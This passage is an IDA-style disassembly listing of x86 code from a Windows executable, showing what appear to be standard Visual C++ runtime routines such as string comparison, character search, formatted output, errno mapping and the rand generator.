		movzx	esi, byte ptr [eax-6]
		movzx	edx, byte ptr [ecx-6]
		sub	esi, edx
		jz	short loc_40F34A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40F34A:				; CODE XREF: sub_40DED2+1461j
		movzx	esi, byte ptr [eax-5]
		movzx	edx, byte ptr [ecx-5]
		sub	esi, edx
		jz	short loc_40F36B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40E39E


loc_40F36B:				; CODE XREF: sub_40DED2+1482j
		movzx	esi, byte ptr [eax-4]
		movzx	edx, byte ptr [ecx-4]
		sub	esi, edx
		jz	short loc_40F388
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40F388
; ---------------------------------------------------------------------------


loc_40F386:				; CODE XREF: sub_40DED2+1435j
		xor	esi, esi


loc_40F388:				; CODE XREF: sub_40DED2+14A3j
					; sub_40DED2+14B2j
		test	esi, esi
		jnz	loc_40E39E


loc_40F390:				; CODE XREF: sub_40DED2+4C5j
					; DATA XREF: .vty:off_40F4D2o
		movzx	esi, byte ptr [eax-3] ;	jumptable 0040E397 case	3
		movzx	edx, byte ptr [ecx-3]
		sub	esi, edx
		jz	loc_40EF7D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		test	edx, edx
		jz	loc_40EF7D


loc_40F3B3:				; CODE XREF: sub_40DED2+10C8j
		mov	eax, edx
		jmp	loc_40E773
; ---------------------------------------------------------------------------


loc_40F3BA:				; CODE XREF: sub_40DED2+29j
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		movzx	eax, byte ptr [ecx]
		movzx	edx, byte ptr [esi]
		sub	eax, edx
		jz	short loc_40F3DF
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	loc_40F4CC


loc_40F3DF:				; CODE XREF: sub_40DED2+14F6j
		movzx	eax, byte ptr [ecx+1]
		movzx	edx, byte ptr [esi+1]
		sub	eax, edx
		jz	short loc_40F400
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	loc_40F4CC


loc_40F400:				; CODE XREF: sub_40DED2+1517j
		movzx	eax, byte ptr [ecx+2]
		movzx	edx, byte ptr [esi+2]
		sub	eax, edx
		jz	short loc_40F421
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	loc_40F4CC


loc_40F421:				; CODE XREF: sub_40DED2+1538j
		movzx	eax, byte ptr [ecx+3]
		movzx	ecx, byte ptr [esi+3]


loc_40F429:				; CODE XREF: sub_40DED2+15B7j
					; sub_40DED2+15E2j ...
		sub	eax, ecx
		jz	loc_40F4CC
		xor	ecx, ecx
		test	eax, eax
		setnle	cl
		lea	ecx, [ecx+ecx-1]
		mov	eax, ecx
		jmp	loc_40F4CC
; ---------------------------------------------------------------------------


loc_40F443:				; CODE XREF: sub_40DED2+22j
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		movzx	eax, byte ptr [ecx]
		movzx	edx, byte ptr [esi]
		sub	eax, edx
		jz	short loc_40F464
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	short loc_40F4CC


loc_40F464:				; CODE XREF: sub_40DED2+157Fj
		movzx	eax, byte ptr [ecx+1]
		movzx	edx, byte ptr [esi+1]
		sub	eax, edx
		jz	short loc_40F481
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	short loc_40F4CC


loc_40F481:				; CODE XREF: sub_40DED2+159Cj
		movzx	eax, byte ptr [ecx+2]
		movzx	ecx, byte ptr [esi+2]
		jmp	short loc_40F429
; ---------------------------------------------------------------------------


loc_40F48B:				; CODE XREF: sub_40DED2+1Bj
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		movzx	eax, byte ptr [ecx]
		movzx	edx, byte ptr [esi]
		sub	eax, edx
		jz	short loc_40F4AC
		xor	edx, edx
		test	eax, eax
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	eax, edx
		test	eax, eax
		jnz	short loc_40F4CC


loc_40F4AC:				; CODE XREF: sub_40DED2+15C7j
		movzx	eax, byte ptr [ecx+1]
		movzx	ecx, byte ptr [esi+1]
		jmp	loc_40F429
; ---------------------------------------------------------------------------


loc_40F4B9:				; CODE XREF: sub_40DED2+14j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		movzx	ecx, byte ptr [ecx]
		jmp	loc_40F429
; ---------------------------------------------------------------------------


loc_40F4CA:				; CODE XREF: sub_40DED2+Dj
		xor	eax, eax


loc_40F4CC:				; CODE XREF: sub_40DED2+8A2j
					; sub_40DED2+1507j ...
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40DED2	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0FFh
off_40F4D2	dd offset loc_40E771	; DATA XREF: sub_40DED2+4C5r
		dd offset loc_40EB63	; jump table for switch	statement
		dd offset loc_40EF6F
		dd offset loc_40F390
		dd offset loc_40E6F4
		dd offset loc_40EAD4
		dd offset loc_40EEE0
		dd offset loc_40F301
		dd offset loc_40E665
		dd offset loc_40EA44
		dd offset loc_40EE50
		dd offset loc_40F272
		dd offset loc_40E5D5
		dd offset loc_40E9B5
		dd offset loc_40EDC1
		dd offset loc_40F1E2
		dd offset loc_40E546
		dd offset loc_40E926
		dd offset loc_40ED32
		dd offset loc_40F153
		dd offset loc_40E4B7
		dd offset loc_40E897
		dd offset loc_40ECA3
		dd offset loc_40F0C4
		dd offset loc_40E428
		dd offset loc_40E808
		dd offset loc_40EC14
		dd offset loc_40F035
		dd offset loc_40E3A5
		dd offset loc_40E779
		dd offset loc_40EB85
		dd offset loc_40EFA5
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40F560	proc near		; CODE XREF: sub_401E6B+6Bp
					; sub_4094C5+55p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		test	eax, eax
		jz	short loc_40F5BB
		mov	edx, [esp+4+arg_0]
		xor	ebx, ebx
		mov	bl, [esp+4+arg_4]
		test	edx, 3
		jz	short loc_40F591


loc_40F57B:				; CODE XREF: sub_40F560+2Fj
		mov	cl, [edx]
		add	edx, 1
		xor	cl, bl
		jz	short loc_40F5F6
		sub	eax, 1
		jz	short loc_40F5BB
		test	edx, 3
		jnz	short loc_40F57B


loc_40F591:				; CODE XREF: sub_40F560+19j
		sub	eax, 4
		jb	short loc_40F5A8
		push	edi
		mov	edi, ebx
		shl	ebx, 8
		add	ebx, edi
		mov	edi, ebx
		shl	ebx, 10h
		add	ebx, edi
		jmp	short loc_40F5C2
; ---------------------------------------------------------------------------


loc_40F5A7:				; CODE XREF: sub_40F560+60j
		pop	edi


loc_40F5A8:				; CODE XREF: sub_40F560+34j
		add	eax, 4
		jz	short loc_40F5BB


loc_40F5AD:				; CODE XREF: sub_40F560+59j
		mov	cl, [edx]
		add	edx, 1
		xor	cl, bl
		jz	short loc_40F5F6
		sub	eax, 1
		jnz	short loc_40F5AD


loc_40F5BB:				; CODE XREF: sub_40F560+7j
					; sub_40F560+27j ...
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40F5BD:				; CODE XREF: sub_40F560+7Bj
					; sub_40F560+93j
		sub	eax, 4
		jb	short loc_40F5A7


loc_40F5C2:				; CODE XREF: sub_40F560+45j
		mov	ecx, [edx]
		xor	ecx, ebx
		mov	edi, 7EFEFEFFh
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	ecx, edi
		add	edx, 4
		and	ecx, 81010100h
		jz	short loc_40F5BD
		mov	ecx, [edx-4]
		xor	cl, bl
		jz	short loc_40F607
		xor	ch, bl
		jz	short loc_40F601
		shr	ecx, 10h
		xor	cl, bl
		jz	short loc_40F5FB
		xor	ch, bl
		jz	short loc_40F5F5
		jmp	short loc_40F5BD
; ---------------------------------------------------------------------------


loc_40F5F5:				; CODE XREF: sub_40F560+91j
		pop	edi


loc_40F5F6:				; CODE XREF: sub_40F560+22j
					; sub_40F560+54j
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40F5FB:				; CODE XREF: sub_40F560+8Dj
		lea	eax, [edx-2]
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40F601:				; CODE XREF: sub_40F560+86j
		lea	eax, [edx-3]
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40F607:				; CODE XREF: sub_40F560+82j
		lea	eax, [edx-4]
		pop	edi
		pop	ebx
		retn
sub_40F560	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F60D	proc near		; CODE XREF: sub_40F6BE+12p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		jnz	short loc_40F63B
		call	sub_40F79E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40DCD8
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	loc_40F6BB
; ---------------------------------------------------------------------------


loc_40F63B:				; CODE XREF: sub_40F60D+Cj
		mov	ecx, [ebp+arg_4]
		cmp	ecx, ebx
		push	esi
		mov	esi, [ebp+arg_0]
		jz	short loc_40F667
		cmp	esi, ebx
		jnz	short loc_40F667
		call	sub_40F79E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40DCD8
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_40F6BA
; ---------------------------------------------------------------------------


loc_40F667:				; CODE XREF: sub_40F60D+37j
					; sub_40F60D+3Bj
		mov	eax, 7FFFFFFFh
		cmp	ecx, eax
		mov	[ebp+var_1C], eax
		ja	short loc_40F676
		mov	[ebp+var_1C], ecx


loc_40F676:				; CODE XREF: sub_40F60D+64j
		push	edi
		push	[ebp+arg_10]
		lea	eax, [ebp+var_20]
		push	[ebp+arg_C]
		mov	[ebp+var_14], 42h
		push	[ebp+arg_8]
		mov	[ebp+var_18], esi
		push	eax
		mov	[ebp+var_20], esi
		call	sub_4113BB
		add	esp, 10h
		cmp	esi, ebx
		mov	edi, eax
		jz	short loc_40F6B9
		dec	[ebp+var_1C]
		js	short loc_40F6AB
		mov	eax, [ebp+var_20]
		mov	[eax], bl
		jmp	short loc_40F6B7
; ---------------------------------------------------------------------------


loc_40F6AB:				; CODE XREF: sub_40F60D+95j
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	sub_4111BA
		pop	ecx
		pop	ecx


loc_40F6B7:				; CODE XREF: sub_40F60D+9Cj
		mov	eax, edi


loc_40F6B9:				; CODE XREF: sub_40F60D+90j
		pop	edi


loc_40F6BA:				; CODE XREF: sub_40F60D+58j
		pop	esi


loc_40F6BB:				; CODE XREF: sub_40F60D+29j
		pop	ebx
		leave
		retn
sub_40F60D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F6BE	proc near		; CODE XREF: sub_401989+4Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		push	0
		push	[esp+8+arg_8]
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_40F60D
		add	esp, 14h
		retn
sub_40F6BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F6D9	proc near		; CODE XREF: sub_40F6FC+40p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jl	short loc_40F6EB
		call	sub_412B34
		cmp	esi, [eax]
		jl	short loc_40F6F2


loc_40F6EB:				; CODE XREF: sub_40F6D9+7j
		call	sub_412B34
		mov	esi, [eax]


loc_40F6F2:				; CODE XREF: sub_40F6D9+10j
		call	sub_412B3A
		mov	eax, [eax+esi*4]
		pop	esi
		retn
sub_40F6D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F6FC	proc near		; CODE XREF: sub_40460B+CAp
					; sub_40499E+8Cp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		call	sub_411F7A
		mov	esi, eax
		xor	ebx, ebx
		cmp	esi, ebx
		jnz	short loc_40F712
		mov	eax, offset aVisualCCrtNotE ; "Visual C++ CRT: Not enough memory to co"...
		jmp	short loc_40F760
; ---------------------------------------------------------------------------


loc_40F712:				; CODE XREF: sub_40F6FC+Dj
		cmp	[esi+24h], ebx
		push	edi
		mov	edi, 86h
		jnz	short loc_40F735
		push	1
		push	edi
		call	sub_412363
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[esi+24h], eax
		jnz	short loc_40F735
		mov	eax, offset aVisualCCrtNotE ; "Visual C++ CRT: Not enough memory to co"...
		jmp	short loc_40F75F
; ---------------------------------------------------------------------------


loc_40F735:				; CODE XREF: sub_40F6FC+1Fj
					; sub_40F6FC+30j
		push	[esp+0Ch+arg_0]
		mov	esi, [esi+24h]
		call	sub_40F6D9
		push	eax
		push	edi
		push	esi
		call	sub_410FB5
		add	esp, 10h
		test	eax, eax
		jz	short loc_40F75D
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40DBDC
		add	esp, 14h


loc_40F75D:				; CODE XREF: sub_40F6FC+52j
		mov	eax, esi


loc_40F75F:				; CODE XREF: sub_40F6FC+37j
		pop	edi


loc_40F760:				; CODE XREF: sub_40F6FC+14j
		pop	esi
		pop	ebx
		retn
sub_40F6FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F763	proc near		; CODE XREF: sub_40F7C4+Dp
					; sub_41112C+80p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_40F769:				; CODE XREF: sub_40F763+13j
		cmp	eax, dword_423030[ecx*8]
		jz	short loc_40F784
		inc	ecx
		cmp	ecx, 2Dh
		jl	short loc_40F769
		lea	ecx, [eax-13h]
		cmp	ecx, 11h
		ja	short loc_40F78C
		push	0Dh
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_40F784:				; CODE XREF: sub_40F763+Dj
		mov	eax, dword_423034[ecx*8]
		retn
; ---------------------------------------------------------------------------


loc_40F78C:				; CODE XREF: sub_40F763+1Bj
		add	eax, 0FFFFFF44h
		push	0Eh
		pop	ecx
		cmp	ecx, eax
		sbb	eax, eax
		and	eax, ecx
		add	eax, 8
		retn
sub_40F763	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F79E	proc near		; CODE XREF: sub_40460B+BAp
					; sub_40460B+C1p ...
		call	sub_411F7A
		test	eax, eax
		jnz	short loc_40F7AD
		mov	eax, offset dword_423198
		retn
; ---------------------------------------------------------------------------


loc_40F7AD:				; CODE XREF: sub_40F79E+7j
		add	eax, 8
		retn
sub_40F79E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F7B1	proc near		; CODE XREF: sub_40F7C4+1p
					; sub_41440F+40p ...
		call	sub_411F7A
		test	eax, eax
		jnz	short loc_40F7C0
		mov	eax, offset dword_42319C
		retn
; ---------------------------------------------------------------------------


loc_40F7C0:				; CODE XREF: sub_40F7B1+7j
		add	eax, 0Ch
		retn
sub_40F7B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F7C4	proc near		; CODE XREF: sub_4104BF+A1p
					; sub_41440F+577p ...

arg_0		= dword	ptr  4

		push	esi
		call	sub_40F7B1
		mov	ecx, [esp+4+arg_0]
		push	ecx
		mov	[eax], ecx
		call	sub_40F763
		pop	ecx
		mov	esi, eax
		call	sub_40F79E
		mov	[eax], esi
		pop	esi
		retn
sub_40F7C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F7E2	proc near		; CODE XREF: sub_40F864+Ep
					; sub_40FF38+Cp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		push	esi
		mov	esi, ecx
		mov	byte ptr [esi+0Ch], 0
		jnz	short loc_40F854
		call	sub_411FFD
		mov	[esi+8], eax
		mov	ecx, [eax+6Ch]
		mov	[esi], ecx
		mov	ecx, [eax+68h]
		mov	[esi+4], ecx
		mov	ecx, [esi]
		cmp	ecx, off_423890
		jz	short loc_40F820
		mov	ecx, dword_4237AC
		test	[eax+70h], ecx
		jnz	short loc_40F820
		call	sub_413512
		mov	[esi], eax


loc_40F820:				; CODE XREF: sub_40F7E2+2Aj
					; sub_40F7E2+35j
		mov	eax, [esi+4]
		cmp	eax, dword_4236B0
		jz	short loc_40F841
		mov	eax, [esi+8]
		mov	ecx, dword_4237AC
		test	[eax+70h], ecx
		jnz	short loc_40F841
		call	sub_412E01
		mov	[esi+4], eax


loc_40F841:				; CODE XREF: sub_40F7E2+47j
					; sub_40F7E2+55j
		mov	eax, [esi+8]
		test	byte ptr [eax+70h], 2
		jnz	short loc_40F85E
		or	dword ptr [eax+70h], 2
		mov	byte ptr [esi+0Ch], 1
		jmp	short loc_40F85E
; ---------------------------------------------------------------------------


loc_40F854:				; CODE XREF: sub_40F7E2+Dj
		mov	ecx, [eax]
		mov	[esi], ecx
		mov	eax, [eax+4]
		mov	[esi+4], eax


loc_40F85E:				; CODE XREF: sub_40F7E2+66j
					; sub_40F7E2+70j
		mov	eax, esi
		pop	esi
		retn	4
sub_40F7E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F864	proc near		; CODE XREF: sub_40F97B+1Fp
					; sub_41A2A3+9Bp ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_18]
		call	sub_40F7E2
		mov	ebx, [ebp+arg_0]
		mov	esi, 100h
		cmp	ebx, esi
		jnb	short loc_40F8D7
		mov	ecx, [ebp+var_18]
		cmp	dword ptr [ecx+0ACh], 1
		jle	short loc_40F8A3
		lea	eax, [ebp+var_18]
		push	eax
		push	1
		push	ebx
		call	sub_4139CC
		mov	ecx, [ebp+var_18]
		add	esp, 0Ch
		jmp	short loc_40F8B0
; ---------------------------------------------------------------------------


loc_40F8A3:				; CODE XREF: sub_40F864+29j
		mov	eax, [ecx+0C8h]
		movzx	eax, byte ptr [eax+ebx*2]
		and	eax, 1


loc_40F8B0:				; CODE XREF: sub_40F864+3Dj
		test	eax, eax
		jz	short loc_40F8C3
		mov	eax, [ecx+0CCh]
		movzx	eax, byte ptr [eax+ebx]
		jmp	loc_40F96A
; ---------------------------------------------------------------------------


loc_40F8C3:				; CODE XREF: sub_40F864+4Ej
					; sub_40F864+EAj
		cmp	[ebp+var_C], 0
		jz	short loc_40F8D0
		mov	eax, [ebp+var_10]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_40F8D0:				; CODE XREF: sub_40F864+63j
		mov	eax, ebx
		jmp	loc_40F977
; ---------------------------------------------------------------------------


loc_40F8D7:				; CODE XREF: sub_40F864+1Dj
		mov	eax, [ebp+var_18]
		cmp	dword ptr [eax+0ACh], 1
		jle	short loc_40F914
		mov	[ebp+arg_0], ebx
		sar	[ebp+arg_0], 8
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		push	eax
		call	sub_413988
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40F914
		mov	al, byte ptr [ebp+arg_0]
		push	2
		mov	[ebp+var_4], al
		mov	[ebp+var_3], bl
		mov	[ebp+var_2], 0
		pop	ecx
		jmp	short loc_40F929
; ---------------------------------------------------------------------------


loc_40F914:				; CODE XREF: sub_40F864+7Dj
					; sub_40F864+9Cj
		call	sub_40F79E
		mov	dword ptr [eax], 2Ah
		xor	ecx, ecx
		mov	[ebp+var_4], bl
		mov	[ebp+var_3], 0
		inc	ecx


loc_40F929:				; CODE XREF: sub_40F864+AEj
		mov	eax, [ebp+var_18]
		push	1
		push	dword ptr [eax+4]
		lea	edx, [ebp+var_8]
		push	3
		push	edx
		push	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	esi
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_413945
		add	esp, 24h
		test	eax, eax
		jz	loc_40F8C3
		cmp	eax, 1
		jnz	short loc_40F95F
		movzx	eax, [ebp+var_8]
		jmp	short loc_40F96A
; ---------------------------------------------------------------------------


loc_40F95F:				; CODE XREF: sub_40F864+F3j
		movzx	ecx, [ebp+var_7]
		xor	eax, eax
		mov	ah, [ebp+var_8]
		or	eax, ecx


loc_40F96A:				; CODE XREF: sub_40F864+5Aj
					; sub_40F864+F9j
		cmp	[ebp+var_C], 0
		jz	short loc_40F977
		mov	ecx, [ebp+var_10]
		and	dword ptr [ecx+70h], 0FFFFFFFDh


loc_40F977:				; CODE XREF: sub_40F864+6Ej
					; sub_40F864+10Aj
		pop	esi
		pop	ebx
		leave
		retn
sub_40F864	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F97B	proc near		; CODE XREF: sub_406A1C+3Cp

arg_0		= dword	ptr  4

		cmp	dword_424424, 0
		jnz	short loc_40F994
		mov	eax, [esp+arg_0]
		lea	ecx, [eax-41h]
		cmp	ecx, 19h
		ja	short locret_40F9A1
		add	eax, 20h
		retn
; ---------------------------------------------------------------------------


loc_40F994:				; CODE XREF: sub_40F97B+7j
		push	0
		push	[esp+4+arg_0]
		call	sub_40F864
		pop	ecx
		pop	ecx

locret_40F9A1:				; CODE XREF: sub_40F97B+13j
		retn
sub_40F97B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F9A2	proc near		; CODE XREF: sub_40FA66+Ap

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	0Ch
		push	offset dword_41F8A0
		call	__SEH_prolog4
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		xor	eax, eax
		mov	edi, [ebp+arg_0]
		cmp	edi, ebx
		setnz	al
		cmp	eax, ebx
		jnz	short loc_40F9DD


loc_40F9C1:				; CODE XREF: sub_40F9A2+47j
					; sub_40F9A2+52j
		call	sub_40F79E
		mov	dword ptr [eax], 16h
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40DCD8
		add	esp, 14h


loc_40F9D9:				; CODE XREF: sub_40F9A2+6Bj
					; sub_40F9A2+92j
		xor	eax, eax
		jmp	short loc_40FA56
; ---------------------------------------------------------------------------


loc_40F9DD:				; CODE XREF: sub_40F9A2+1Dj
		xor	eax, eax
		mov	esi, [ebp+arg_4]
		cmp	esi, ebx
		setnz	al
		cmp	eax, ebx
		jz	short loc_40F9C1
		xor	eax, eax
		cmp	[esi], bl
		setnz	al
		cmp	eax, ebx
		jz	short loc_40F9C1
		call	sub_413E9F
		mov	[ebp+arg_0], eax
		cmp	eax, ebx
		jnz	short loc_40FA0F
		call	sub_40F79E
		mov	dword ptr [eax], 18h
		jmp	short loc_40F9D9
; ---------------------------------------------------------------------------


loc_40FA0F:				; CODE XREF: sub_40F9A2+5Ej
		mov	[ebp+ms_exc.disabled], ebx
		cmp	[edi], bl
		jnz	short loc_40FA36
		call	sub_40F79E
		mov	dword ptr [eax], 16h
		push	0FFFFFFFEh
		lea	eax, [ebp+ms_exc.prev_er]
		push	eax
		push	offset dword_4231C4
		call	sub_413FC8
		add	esp, 0Ch
		jmp	short loc_40F9D9
; ---------------------------------------------------------------------------


loc_40FA36:				; CODE XREF: sub_40F9A2+72j
		push	eax
		push	[ebp+arg_8]
		push	esi
		push	edi
		call	sub_413BFD
		add	esp, 10h
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_40FA5C
		mov	eax, [ebp+var_1C]


loc_40FA56:				; CODE XREF: sub_40F9A2+39j
		call	__SEH_epilog4
		retn
sub_40F9A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FA5C	proc near		; CODE XREF: sub_40F9A2+ACp
					; DATA XREF: .vty:0041F8B8o
		push	dword ptr [ebp+8]
		call	sub_413BAB
		pop	ecx
		retn
sub_40FA5C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FA66	proc near		; CODE XREF: sub_40460B+ACp
					; sub_40499E+6Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40F9A2
		add	esp, 0Ch
		retn
sub_40FA66	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FA79	proc near		; CODE XREF: sub_4080EE+5Fp
					; sub_40D748+Ap

arg_0		= dword	ptr  4

		call	sub_411FFD
		mov	ecx, [esp+arg_0]
		mov	[eax+14h], ecx
		retn
sub_40FA79	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FA86	proc near		; CODE XREF: sub_4027E7+1Dp
					; sub_402979+6Dp ...
		call	sub_411FFD
		mov	ecx, [eax+14h]
		imul	ecx, 343FDh
		add	ecx, 269EC3h
		mov	[eax+14h], ecx
		mov	eax, ecx
		shr	eax, 10h
		and	eax, 7FFFh
		retn
sub_40FA86	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40FAB0	proc near		; CODE XREF: sub_40376E+15p
					; sub_403A28+86p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_40FAFC


loc_40FAC0:				; CODE XREF: sub_40FAB0+3Cj
					; sub_40FAB0+6Aj ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_40FAF4
		or	al, al
		jz	short loc_40FAF0
		cmp	ah, [ecx+1]
		jnz	short loc_40FAF4
		or	ah, ah
		jz	short loc_40FAF0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_40FAF4
		or	al, al
		jz	short loc_40FAF0
		cmp	ah, [ecx+3]
		jnz	short loc_40FAF4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_40FAC0
		mov	edi, edi


loc_40FAF0:				; CODE XREF: sub_40FAB0+18j
					; sub_40FAB0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40FAF4:				; CODE XREF: sub_40FAB0+14j
					; sub_40FAB0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		add	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_40FAFC:				; CODE XREF: sub_40FAB0+Ej
		test	edx, 1
		jz	short loc_40FB1C
		mov	al, [edx]
		add	edx, 1
		cmp	al, [ecx]
		jnz	short loc_40FAF4
		add	ecx, 1
		or	al, al
		jz	short loc_40FAF0
		test	edx, 2
		jz	short loc_40FAC0


loc_40FB1C:				; CODE XREF: sub_40FAB0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_40FAF4
		or	al, al
		jz	short loc_40FAF0
		cmp	ah, [ecx+1]
		jnz	short loc_40FAF4
		or	ah, ah
		jz	short loc_40FAF0
		add	ecx, 2
		jmp	short loc_40FAC0
sub_40FAB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40FB38	proc near		; DATA XREF: .vty:0041EB2Co
		push	dword_42476C
		call	sub_411DBF
		test	eax, eax
		pop	ecx
		jz	short loc_40FB4A
		call	eax


loc_40FB4A:				; CODE XREF: sub_40FB38+Ej
		push	19h
		call	sub_41422C
		push	1
		push	0
		call	loc_41420E
		add	esp, 0Ch
		jmp	sub_41411B
sub_40FB38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FB62	proc near		; CODE XREF: sub_40FC7C+63p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		imul	eax, [ebp+arg_8]
		test	eax, eax
		push	ebx
		mov	[ebp+var_8], eax
		mov	ebx, eax
		jz	loc_40FC73
		push	esi
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_40FB96
		mov	ecx, [esi+18h]
		mov	[ebp+var_4], ecx
		jmp	short loc_40FB9D
; ---------------------------------------------------------------------------


loc_40FB96:				; CODE XREF: sub_40FB62+2Aj
		mov	[ebp+var_4], 1000h


loc_40FB9D:				; CODE XREF: sub_40FB62+32j
		push	edi
